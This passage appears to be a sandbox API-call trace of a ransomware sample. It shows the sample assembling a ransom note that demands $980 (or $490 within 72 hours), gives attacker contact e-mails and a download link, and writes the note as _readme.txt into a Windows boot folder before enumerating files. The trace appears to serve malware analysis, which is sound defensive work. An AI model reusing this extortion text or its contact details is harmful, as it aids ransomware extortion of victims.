tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.359] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.359] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.359] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.360] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.360] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.361] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.361] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.361] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.361] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.361] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.362] CloseHandle (hObject=0x5c4) returned 1 [0066.362] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.362] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.362] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.362] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.362] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.362] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.362] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.362] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.362] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.362] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3167ab0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.362] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3167ab0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.362] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.362] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.362] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.362] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.362] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.362] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.362] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.363] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.363] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.364] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.366] 